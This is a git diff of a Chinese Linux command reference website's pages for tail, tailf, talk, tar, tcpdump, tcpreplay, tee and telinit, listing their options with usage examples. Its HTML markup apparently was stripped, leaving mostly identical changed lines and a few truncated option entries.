    -c, --bytes=NUM                 输出文件尾部的NUM(NUM为整数)个字节内容。
     -f, --follow[={name|descript}]  显示文件最新追加的内容。“name”表示以文件名的方式监视文件的变化。
    --F                              与 “--follow=name --retry” 功能相同。
    --n, --line=NUM                  输出文件的尾部NUM(NUM位数字)行内容。
    ---pid=<进程号>                  与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令。
    --q, --quiet, --silent           当有多个文件参数时,不输出各个文件名。
    ---retry                         即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“--follow=name”连用。
    +-F                              与 “--follow=name --retry” 功能相同。
    +-n, --line=NUM                  输出文件的尾部NUM(NUM位数字)行内容。
    +--pid=<进程号>                  与“-f”选项连用,当指定的进程号的进程终止后,自动退出tail命令。
    +-q, --quiet, --silent           当有多个文件参数时,不输出各个文件名。
    +--retry                         即是在tail命令启动时,文件不可访问或者文件稍后变得不可访问,都始终尝试打开文件。使用此选项时需要与选项“--follow=name”连用。
     -s, --sleep-interal=<秒数>      与“-f”选项连用,指定监视文件变化时间隔的秒数。
    --v, --verbose                   当有多个文件参数时,总是输出各个文件名。
    ---help                          显示指令的帮助信息。
    ---version                       显示指令的版本信息。
    +-v, --verbose                   当有多个文件参数时,总是输出各个文件名。
    +--help                          显示指令的帮助信息。
    +--version                       显示指令的版本信息。
     
    实例
    tail file #(显示文件file的最后10行)
    -tail -n +20 file #(显示文件file的内容,从第20行至文件末尾)
    -tail -c 10 file #(显示文件file的最后10个字节)
    +tail -n +20 file #(显示文件file的内容,从第20行至文件末尾)
    +tail -c 10 file #(显示文件file的最后10个字节)
     
    -tail -25 mail.log # 显示 mail.log 最后的 25 行
    -tail -f mail.log # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止
    -tail -F mail.log # 等同于--follow=name --retry,根据文件名进行追踪,并保持重试,即该文件被删除或改名后,如果再次创建相同的文件名,会继续追踪
    +tail -25 mail.log # 显示 mail.log 最后的 25 行
    +tail -f mail.log # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止
    +tail -F mail.log # 等同于--follow=name --retry,根据文件名进行追踪,并保持重试,即该文件被删除或改名后,如果再次创建相同的文件名,会继续追踪
     
    - - + + \ No newline at end of file diff --git a/c/tailf.html b/c/tailf.html index 5e0e54eff2..6836a53ced 100644 --- a/c/tailf.html +++ b/c/tailf.html @@ -9,7 +9,7 @@ tailf 命令,Linux tailf 命令详解:在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出 - Linux 命令搜索引擎 - + @@ -127,10 +127,10 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -n, --lines NUMBER  # 输出最后数行
    --NUMBER             # 与NUMBER相同 `-n NUMBER'
    --V, --version       # 输出版本信息并退出
    --h, --help          # 显示帮助并退出
    +
    -n, --lines NUMBER  # 输出最后数行
    +-NUMBER             # 与NUMBER相同 `-n NUMBER'
    +-V, --version       # 输出版本信息并退出
    +-h, --help          # 显示帮助并退出
     
    实例
    tailf log/WEB.LOG 
    -tailf -n 5 log2014.log   # 显示文件最后5行内容
    +tailf -n 5 log2014.log   # 显示文件最后5行内容
     
    - - + + \ No newline at end of file diff --git a/c/talk.html b/c/talk.html index 1756a298d1..fc37613cbb 100644 --- a/c/talk.html +++ b/c/talk.html @@ -9,7 +9,7 @@ talk 命令,Linux talk 命令详解:让用户和其他用户聊天 - Linux 命令搜索引擎 - + @@ -171,7 +171,7 @@ talk: respond with: talk jdx@rs6000.cic.test.com " class="copied">

    不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令mesg y),否则将会失去很多信息交流的机会。

    以上是linux中talk命令参数的是使用方法。

    - - + + \ No newline at end of file diff --git a/c/tar.html b/c/tar.html index bac8ec2017..d1477967a4 100644 --- a/c/tar.html +++ b/c/tar.html @@ -9,7 +9,7 @@ tar 命令,Linux tar 命令详解:将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。 - Linux 命令搜索引擎 - + @@ -124,36 +124,36 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -A, --catenate, --concatenate   追加 tar 文件至归档
    --c, --create               创建一个新归档
    --d, --diff, --compare      找出归档和文件系统的差异
    -    --delete               从归档(非磁带!)中删除
    --r, --append               追加文件至归档结尾
    --t, --list                 列出归档内容
    +
    -A, --catenate, --concatenate   追加 tar 文件至归档
    +-c, --create               创建一个新归档
    +-d, --diff, --compare      找出归档和文件系统的差异
    +    --delete               从归档(非磁带!)中删除
    +-r, --append               追加文件至归档结尾
    +-t, --list                 列出归档内容
         --test-label           测试归档卷标并退出
    --u, --update               仅追加比归档中副本更新的文件
    --x, --extract, --get       从归档中解出文件
    +-u, --update               仅追加比归档中副本更新的文件
    +-x, --extract, --get       从归档中解出文件
     
     操作修饰符:
     
           --check-device         当创建增量归档时检查设备号(默认)
       -g, --listed-incremental=FILE   处理新式的 GNU 格式的增量备份
    -  -G, --incremental          处理老式的 GNU 格式的增量备份
    +  -G, --incremental          处理老式的 GNU 格式的增量备份
           --ignore-failed-read
                                  当遇上不可读文件时不要以非零值退出
    -      --level=NUMBER         所创建的增量列表归档的输出级别
    -  -n, --seek                 归档可检索
    +      --level=NUMBER         所创建的增量列表归档的输出级别
    +  -n, --seek                 归档可检索
           --no-check-device      当创建增量归档时不要检查设备号
           --no-seek              归档不可检索
           --occurrence[=NUMBER]  仅处理归档中每个文件的第 NUMBER
                                  个事件;仅当与以下子命令 --delete,
    -                             --diff, --extract 或是 --list
    +                             --diff, --extract 或是 --list
                                  中的一个联合使用时,此选项才有效。而且不管文件列表是以命令行形式给出或是通过
    -                             -T 选项指定的;NUMBER 值默认为 1
    +                             -T 选项指定的;NUMBER 值默认为 1
           --sparse-version=MAJOR[.MINOR]
                                  设置所用的离散格式版本(隐含
                                  --sparse)
    -  -S, --sparse               高效处理离散文件
    +  -S, --sparse               高效处理离散文件
     
      重写控制:
     
    @@ -172,7 +172,7 @@ customElements.define('markdown-style', MarkdownStyle);      --skip-old-files       don't replace existing files when extracting,
                                  silently skip over them
       -U, --unlink-first         在解压要重写的文件之前先删除它们
    -  -W, --verify               在写入以后尝试校验归档
    +  -W, --verify               在写入以后尝试校验归档
     
      选择输出流:
     
    @@ -190,13 +190,13 @@ customElements.define('markdown-style', MarkdownStyle);                             METHOD=‘replace’)后还原时间,要不就不要在第一次(METHOD=‘system’)设置时间
           --delay-directory-restore
                                  直到解压结束才设置修改时间和所解目录的权限
    -      --group=名称         强制将 NAME
    +      --group=名称         强制将 NAME
                                  作为所添加的文件的组所有者
    -      --mode=CHANGES         强制将所添加的文件(符号)更改为权限
    +      --mode=CHANGES         强制将所添加的文件(符号)更改为权限
                                  CHANGES
    -      --mtime=DATE-OR-FILE   从 DATE-OR-FILE 中为添加的文件设置
    +      --mtime=DATE-OR-FILE   从 DATE-OR-FILE 中为添加的文件设置
                                  mtime
    -  -m, --touch                不要解压文件的修改时间
    +  -m, --touch                不要解压文件的修改时间
           --no-delay-directory-restore
                                  取消 --delay-directory-restore 选项的效果
           --no-same-owner
    @@ -204,11 +204,11 @@ customElements.define('markdown-style', MarkdownStyle);      --no-same-permissions
                                  从归档中解压权限时使用用户的掩码位(默认为普通用户服务)
           --numeric-owner        总是以数字代表用户/组的名称
    -      --owner=名称         强制将 NAME
    +      --owner=名称         强制将 NAME
                                  作为所添加的文件的所有者
       -p, --preserve-permissions, --same-permissions
                                  解压文件权限信息(默认只为超级用户服务)
    -      --preserve             与 -p 和 -s 一样
    +      --preserve-p-s 一样
           --same-owner
                                  尝试解压时保持所有者关系一致(超级用户默认此项)
       -s, --preserve-order, --same-order
    @@ -217,18 +217,18 @@ customElements.define('markdown-style', MarkdownStyle);
      Handling of extended file attributes:
     
    -      --acls                 Enable the POSIX ACLs support
    +      --acls                 Enable the POSIX ACLs support
           --no-acls              Disable the POSIX ACLs support
           --no-selinux           Disable the SELinux context support
           --no-xattrs            Disable extended attributes support
    -      --selinux              Enable the SELinux context support
    -      --xattrs               Enable extended attributes support
    +      --selinux              Enable the SELinux context support
    +      --xattrs               Enable extended attributes support
           --xattrs-exclude=MASK  specify the exclude pattern for xattr keys
           --xattrs-include=MASK  specify the include pattern for xattr keys
     
      设备选择和切换:
     
    -  -f, --file=ARCHIVE         使用归档文件或 ARCHIVE 设备
    +  -f, --file=ARCHIVE         使用归档文件或 ARCHIVE 设备
           --force-local
                                  即使归档文件存在副本还是把它认为是本地归档
       -F, --info-script=名称, --new-volume-script=名称
    @@ -248,7 +248,7 @@ customElements.define('markdown-style', MarkdownStyle);
      选择归档格式:
     
    -  -H, --format=FORMAT        创建指定格式的归档
    +  -H, --format=FORMAT        创建指定格式的归档
     
      FORMAT 是以下格式中的一种:
     
    @@ -259,12 +259,12 @@ customElements.define('markdown-style', MarkdownStyle);    ustar                    POSIX 1003.1-1988 (ustar) 格式
         v7                       old V7 tar 格式
     
    -      --old-archive, --portability
    -                             等同于 --format=v7
    +      --old-archive, --portability
    +                             等同于 --format=v7
           --pax-option=关键字[[:]=][,关键字[[:]=]]...
                                  控制 pax 关键字
    -      --posix                等同于 --format=posix
    -  -V, --label=TEXT           创建带有卷名 TEXT
    +      --posix                等同于 --format=posix
    +  -V, --label=TEXT           创建带有卷名 TEXT
                                  的归档;在列出/解压时,使用 TEXT
                                  作为卷名的模式串
     
    @@ -272,24 +272,24 @@ customElements.define('markdown-style', MarkdownStyle);
       -a, --auto-compress        使用归档后缀名来决定压缩程序
       -I, --use-compress-program=PROG
    -                             通过 PROG 过滤(必须是能接受 -d
    +                             通过 PROG 过滤(必须是能接受 -d
                                  选项的程序)
    -  -j, --bzip2                通过 bzip2 过滤归档
    -  -J, --xz                   通过 xz 过滤归档
    -      --lzip                 通过 lzip 过滤归档
    -      --lzma                 通过 lzma 过滤归档
    -      --lzop
    +  -j, --bzip2                通过 bzip2 过滤归档
    +  -J, --xz                   通过 xz 过滤归档
    +      --lzip                 通过 lzip 过滤归档
    +      --lzma                 通过 lzma 过滤归档
    +      --lzop
           --no-auto-compress     不使用归档后缀名来决定压缩程序
    -  -z, --gzip, --gunzip, --ungzip   通过 gzip 过滤归档
    -  -Z, --compress, --uncompress   通过 compress 过滤归档
    +  -z, --gzip, --gunzip, --ungzip   通过 gzip 过滤归档
    +  -Z, --compress, --uncompress   通过 compress 过滤归档
     
      本地文件选择:
     
           --add-file=FILE        添加指定的 FILE 至归档(如果名字以 -
                                  开始会很有用的)
           --backup[=CONTROL]     在删除前备份,选择 CONTROL 版本
    -  -C, --directory=DIR        改变至目录 DIR
    -      --exclude=PATTERN      排除以 PATTERN 指定的文件
    +  -C, --directory=DIR        改变至目录 DIR
    +      --exclude=PATTERN      排除以 PATTERN 指定的文件
           --exclude-backups      排除备份和锁文件
           --exclude-caches       除标识文件本身外,排除包含
                                  CACHEDIR.TAG 的目录中的内容
    @@ -301,7 +301,7 @@ customElements.define('markdown-style', MarkdownStyle);      --exclude-tag-all=FILE 排除包含 FILE 的目录
           --exclude-tag-under=FILE   排除包含 FILE 的目录中的所有内容
           --exclude-vcs          排除版本控制系统目录
    -  -h, --dereference
    +  -h, --dereference
                                  跟踪符号链接;将它们所指向的文件归档并输出
           --hard-dereference
                                  跟踪硬链接;将它们所指向的文件归档并输出
    @@ -309,21 +309,21 @@ customElements.define('markdown-style', MarkdownStyle);                             begin at member MEMBER-NAME when reading the
                                  archive
           --newer-mtime=DATE     当只有数据改变时比较数据和时间
    -      --no-null              禁用上一次的效果 --null 选项
    +      --no-null              禁用上一次的效果 --null 选项
           --no-recursion         避免目录中的自动降级
    -      --no-unquote           不以 -T 读取的文件名作为引用结束
    -      --null                 -T 读取以空终止的名字,-C 禁用
    -  -N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
    +      --no-unquote           不以 -T 读取的文件名作为引用结束
    +      --null                 -T 读取以空终止的名字,-C 禁用
    +  -N, --newer=DATE-OR-FILE, --after-date=DATE-OR-FILE
                                  只保存比 DATE-OR-FILE 更新的文件
           --one-file-system      创建归档时保存在本地文件系统中
       -P, --absolute-names       不要从文件名中清除引导符‘/’
    -      --recursion            目录递归(默认)
    -      --suffix=STRING        在删除前备份,除非被环境变量
    +      --recursion            目录递归(默认)
    +      --suffix=STRING        在删除前备份,除非被环境变量
                                  SIMPLE_BACKUP_SUFFIX
                                  覆盖,否则覆盖常用后缀(‘’)
       -T, --files-from=FILE      从 FILE
                                  中获取文件名来解压或创建文件
    -      --unquote              以 -T
    +      --unquote-T
                                  读取的文件名作为引用结束(默认)
       -X, --exclude-from=FILE    排除 FILE 中列出的模式串
     
    @@ -331,20 +331,20 @@ customElements.define('markdown-style', MarkdownStyle);
           --strip-components=NUMBER   解压时从文件名中清除 NUMBER
                                  个引导部分
    -      --transform=EXPRESSION, --xform=EXPRESSION
    +      --transform=EXPRESSION, --xform=EXPRESSION
                                  使用 sed 代替 EXPRESSION
                                  来进行文件名变换
     
      文件名匹配选项(同时影响排除和包括模式串):
     
    -      --anchored             模式串匹配文件名头部
    +      --anchored             模式串匹配文件名头部
           --ignore-case          忽略大小写
           --no-anchored          模式串匹配任意‘/’后字符(默认对
                                  exclusion 有效)
           --no-ignore-case       匹配大小写(默认)
           --no-wildcards         逐字匹配字符串
           --no-wildcards-match-slash   通配符不匹配‘/’
    -      --wildcards            use wildcards (default)
    +      --wildcards            use wildcards (default)
           --wildcards-match-slash
                                  通配符匹配‘/’(默认对排除操作有效)
     
    @@ -373,30 +373,30 @@ customElements.define('markdown-style', MarkdownStyle);                             SIGHUP,SIGQUIT,SIGINT,SIGUSR1 和
                                  SIGUSR2;同时也接受不带 SIG
                                  前缀的信号名称
    -      --utc                  以 UTC 格式打印文件修改时间
    -  -v, --verbose              详细地列出处理的文件
    -      --warning=KEYWORD      警告控制:
    -  -w, --interactive, --confirmation
    +      --utc                  以 UTC 格式打印文件修改时间
    +  -v, --verbose              详细地列出处理的文件
    +      --warning=KEYWORD      警告控制:
    +  -w, --interactive, --confirmation
                                  每次操作都要求确认
     
      兼容性选项:
     
    -  -o                         创建归档时,相当于
    +  -o                         创建归档时,相当于
                                  --old-archive;展开归档时,相当于
                                  --no-same-owner
     
      其它选项:
     
    -  -?, --help                 显示此帮助列表
    -      --restrict             禁用某些潜在的有危险的选项
    -      --usage                显示简短的用法说明
    -      --version              打印程序版本
    +  -?, --help                 显示此帮助列表
    +      --restrict             禁用某些潜在的有危险的选项
    +      --usage                显示简短的用法说明
    +      --version              打印程序版本
     
     长选项和相应短选项具有相同的强制参数或可选参数。
     
    -除非以 --suffix 或 SIMPLE_BACKUP_SUFFIX
    +除非以 --suffix 或 SIMPLE_BACKUP_SUFFIX
     设置备份后缀,否则备份后缀就是“~”。
    -可以用 --backup 或 VERSION_CONTROL 设置版本控制,可能的值为:
    +可以用 --backup 或 VERSION_CONTROL 设置版本控制,可能的值为:
     
       none, off	   从不做备份
       t, numbered     进行编号备份
    @@ -416,7 +416,7 @@ customElements.define('markdown-style', MarkdownStyle);  clocale
     
     tar 默认为:
    ---format=gnu -f- -b20 --quoting-style=escape --rmt-command=/etc/rmt
    +--format=gnu -f- -b20 --quoting-style=escape --rmt-command=/etc/rmt
     --rsh-command=/usr/bin/ssh
     
    -
    tar -cf archive.tar foo bar  # 从文件 foo 和 bar 创建归档文件 archive.tar。
    -tar -tvf archive.tar         # 详细列举归档文件 archive.tar 中的所有文件。
    -tar -xf archive.tar          # 展开归档文件 archive.tar 中的所有文件。
    +
    tar -cf archive.tar foo bar  # 从文件 foo 和 bar 创建归档文件 archive.tar。
    +tar -tvf archive.tar         # 详细列举归档文件 archive.tar 中的所有文件。
    +tar -xf archive.tar          # 展开归档文件 archive.tar 中的所有文件。
     

    下面的参数-f是必须的

    -f: 使用档案名字,切记,这个参数是最后一个参数,后面只能接档案名。

    -
    tar -cf all.tar *.jpg
    +
    tar -cf all.tar *.jpg
     # 这条命令是将所有.jpg的文件打成一个名为all.tar的包。-c是表示产生新的包,-f指定包的文件名。
     
    -tar -rf all.tar *.gif
    +tar -rf all.tar *.gif
     # 这条命令是将所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。
     
    -tar -uf all.tar logo.gif
    +tar -uf all.tar logo.gif
     # 这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件的意思。
     
    -tar -tf all.tar
    +tar -tf all.tar
     # 这条命令是列出all.tar包中所有文件,-t是列出文件的意思
     
    -
    tar -cvf archive.tar foo bar  # 从文件foo和bar创建archive.tar。
    -tar -tvf archive.tar         # 详细列出archive.tar中的所有文件。
    -tar -xf archive.tar          # 从archive.tar提取所有文件。
    +
    tar -cvf archive.tar foo bar  # 从文件foo和bar创建archive.tar。
    +tar -tvf archive.tar         # 详细列出archive.tar中的所有文件。
    +tar -xf archive.tar          # 从archive.tar提取所有文件。
     
    其它例子

    将文件全部打包成tar包

    -
    tar -cvf log.tar log2012.log    仅打包,不压缩!
    -tar -zcvf log.tar.gz log2012.log   打包后,以 gzip 压缩
    -tar -jcvf log.tar.bz2 log2012.log  打包后,以 bzip2 压缩
    +
    tar -cvf log.tar log2012.log    仅打包,不压缩!
    +tar -zcvf log.tar.gz log2012.log   打包后,以 gzip 压缩
    +tar -jcvf log.tar.bz2 log2012.log  打包后,以 bzip2 压缩
     
    tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录 +
    tar -xvf portal-web-v2.0.0.tar --strip-components 1  -C 指定目录
     

    查阅上述tar包内有哪些文件

    -
    tar -ztvf log.tar.gz
    +
    tar -ztvf log.tar.gz
     

    由于我们使用 gzip 压缩的log.tar.gz,所以要查阅log.tar.gz包内的文件时,就得要加上z这个选项了。

    将tar包解压缩

    -
    tar -zxvf /opt/soft/test/log.tar.gz
    +
    tar -zxvf /opt/soft/test/log.tar.gz
     

    在预设的情况下,我们可以将压缩档在任何地方解开的

    只将tar内的部分文件解压出来

    -
    tar -zxvf /opt/soft/test/log30.tar.gz log2013.log
    +
    tar -zxvf /opt/soft/test/log30.tar.gz log2013.log
     

    我可以透过tar -ztvf来查阅 tar 包内的文件名称,如果单只要一个文件,就可以透过这个方式来解压部分文件!

    文件备份下来,并且保存其权限

    -
    tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log
    +
    tar -zcvpf log31.tar.gz log2014.log log2015.log log2016.log
     

    这个-p的属性是很重要的,尤其是当您要保留原本文件的属性时。

    在文件夹当中,比某个日期新的文件才备份

    -
    tar -N "2012/11/13" -zcvf log17.tar.gz test
    +
    tar -N "2012/11/13" -zcvf log17.tar.gz test
     

    备份文件夹内容是排除部分文件:

    -
    tar --exclude scf/service -zcvf scf.tar.gz scf/*
    +
    tar --exclude scf/service -zcvf scf.tar.gz scf/*
     

    打包文件之后删除源文件:

    -
    tar -cvf test.tar test --remove-files
    +
    tar -cvf test.tar test --remove-files
     

    其实最简单的使用 tar 就只要记忆底下的方式即可:

    -
    压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
    -查 询:tar -jtv -f filename.tar.bz2
    -解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
    +
    压 缩:tar -jcv -f filename.tar.bz2 要被压缩的文件或目录名称
    +查 询:tar -jtv -f filename.tar.bz2
    +解压缩:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
     
    - - + + \ No newline at end of file diff --git a/c/tcpdump.html b/c/tcpdump.html index b37f0f9f09..159f2dbe24 100644 --- a/c/tcpdump.html +++ b/c/tcpdump.html @@ -9,7 +9,7 @@ tcpdump 命令,Linux tcpdump 命令详解:一款sniffer工具,是Linux上的抓包工具,嗅探器 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);-N:不列出域名; -O:不将数据包编码最佳化; -p:不让网络界面进入混杂模式; --q :快速输出,仅列出少数的传输协议信息; +-q :快速输出,仅列出少数的传输协议信息; -r<数据包文件>:从指定的文件读取数据包数据; -s<数据包大小>:设置每个数据包的大小; -S:用绝对而非相对数值列出TCP关联数; @@ -179,7 +179,7 @@ customElements.define('markdown-style', MarkdownStyle);

    监视指定网络接口的数据包

    -
    tcpdump -i eth1
    +
    tcpdump -i eth1
     

    如果不指定网卡,默认tcpdump只会监视第一个网络接口,一般是eth0,下面的例子都没有指定网络接口。

    @@ -209,15 +209,15 @@ customElements.define('markdown-style', MarkdownStyle);

    抓取eth0网卡上的包,使用:

    -
    sudo tcpdump -i eth0
    +
    sudo tcpdump -i eth0
     

    截获主机hostname发送的所有数据

    -
    tcpdump -i eth0 src host hostname
    +
    tcpdump -i eth0 src host hostname
     

    监视所有送到主机hostname的数据包

    -
    tcpdump -i eth0 dst host hostname
    +
    tcpdump -i eth0 dst host hostname
     

    监视指定主机和端口的数据包

    @@ -246,10 +246,10 @@ customElements.define('markdown-style', MarkdownStyle);

    如果本地网络通过网关连到了另一网络,则另一网络并不能算作本地网络。

    抓取80端口的HTTP报文,以文本形式展示:

    -
    sudo tcpdump -i any port 80 -A
    +
    sudo tcpdump -i any port 80 -A
     
    - - + + \ No newline at end of file diff --git a/c/tcpreplay.html b/c/tcpreplay.html index 823b9151ad..2834290a97 100644 --- a/c/tcpreplay.html +++ b/c/tcpreplay.html @@ -9,7 +9,7 @@ tcpreplay 命令,Linux tcpreplay 命令详解:将PCAP包重新发送,用于性能或者功能测试 - Linux 命令搜索引擎 - + @@ -118,35 +118,35 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    简单的说, tcpreplay 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。

    选项

    -
    -A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
    --c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 
    --D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 
    --e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 
    --f <configfile> 指定配置文件。
    --F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
    --h 显示帮助文件。 
    --i <nic> 双网卡回放报文必选参数,指定主接口。
    --I <mac> 重写主网卡发送出报文的目的MAC地址。 
    --j <nic> 双网卡回放报文必选参数,指定从接口。
    --J <mac> 重写从网卡发送出报文的目的MAC地址。 
    --k <mac> 重写主网卡发送报文的源MAC地址。 
    --K <mac> 重写从网卡发送报文的源MAC地址。
    --l <loop> 指定循环的次数。
    --L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。 
    --m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
    --M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
    --n 在使用-S参数,不对混杂模式进行侦听。
    --N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
    --O 没有测试使用。
    --p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
    --P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
    --r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
    --R 让网卡极限速度发数据包。 
    --t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。 
    --T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
    --v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
    --V 查看版本号。
    --w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
    +
    -A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
    +-c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 
    +-D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 
    +-e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 
    +-f <configfile> 指定配置文件。
    +-F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
    +-h 显示帮助文件。 
    +-i <nic> 双网卡回放报文必选参数,指定主接口。
    +-I <mac> 重写主网卡发送出报文的目的MAC地址。 
    +-j <nic> 双网卡回放报文必选参数,指定从接口。
    +-J <mac> 重写从网卡发送出报文的目的MAC地址。 
    +-k <mac> 重写主网卡发送报文的源MAC地址。 
    +-K <mac> 重写从网卡发送报文的源MAC地址。
    +-l <loop> 指定循环的次数。
    +-L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。 
    +-m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
    +-M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
    +-n 在使用-S参数,不对混杂模式进行侦听。
    +-N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
    +-O 没有测试使用。
    +-p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
    +-P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
    +-r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
    +-R 让网卡极限速度发数据包。 
    +-t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。 
    +-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
    +-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
    +-V 查看版本号。
    +-w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
     
    [root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
    - - + + \ No newline at end of file diff --git a/c/tee.html b/c/tee.html index b906f6f55d..d67bd5b13f 100644 --- a/c/tee.html +++ b/c/tee.html @@ -9,7 +9,7 @@ tee 命令,Linux tee 命令详解:从标准输入读取数据并重定向到标准输出和文件。 - Linux 命令搜索引擎 - + @@ -128,12 +128,12 @@ customElements.define('markdown-style', MarkdownStyle);选项
    长选项与短选项等价
     
    --a, --append               追加到文件中而不是覆盖。
    +-a, --append               追加到文件中而不是覆盖。
     -i, --ignore-interrupts    忽略中断信号(Ctrl+c中断操作无效)。
    --p                         诊断写入非管道的错误。
    +-p                         诊断写入非管道的错误。
     --output-error[=MODE]      设置写错误时的行为,请查看下方的MODE部分。
    ---help                     显示帮助信息并退出。
    ---version                  显示版本信息并退出。
    +--help                     显示帮助信息并退出。
    +--version                  显示版本信息并退出。
     
     MODE决定了当出现写错误时的输出行为,可用的MODE如下:
     
    @@ -167,10 +167,10 @@ MODE决定了当出现写错误时的输出行为,可用的MODE如下:
     

    返回状态为成功除非给出了非法选项或非法参数。

    例子

    # 将进程信息通过管道输出到标准输出(终端)并覆盖写入到文件中。
    -ps -ef |tee info_a.log info_b.log
    +ps -ef |tee info_a.log info_b.log
     
     # 将进程信息通过管道输出到标准输出(终端)并追加写入到文件中。
    -ps -ef |tee -a info_a.log info_b.log
    +ps -ef |tee -a info_a.log info_b.log
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -253,7 +253,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/telinit.html b/c/telinit.html index 93cf0a64ca..4288145810 100644 --- a/c/telinit.html +++ b/c/telinit.html @@ -9,7 +9,7 @@ telinit 命令,Linux telinit 命令详解:切换当前正在运行系统的运行等级 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ telinit [OPTION]... RUNLEVEL " class="copied">

    选项

    -t:指定等待的秒数。
    --e 键=值
    +-e=
    @@ -145,7 +145,7 @@ telinit [OPTION]... RUNLEVEL
  • /var/run/utmp 将从哪里读取当前运行级别; 此文件也将使用新的运行级别进行更新。
  • /var/log/wtmp 新的运行级别记录将附加到此文件中以获取新的运行级别。
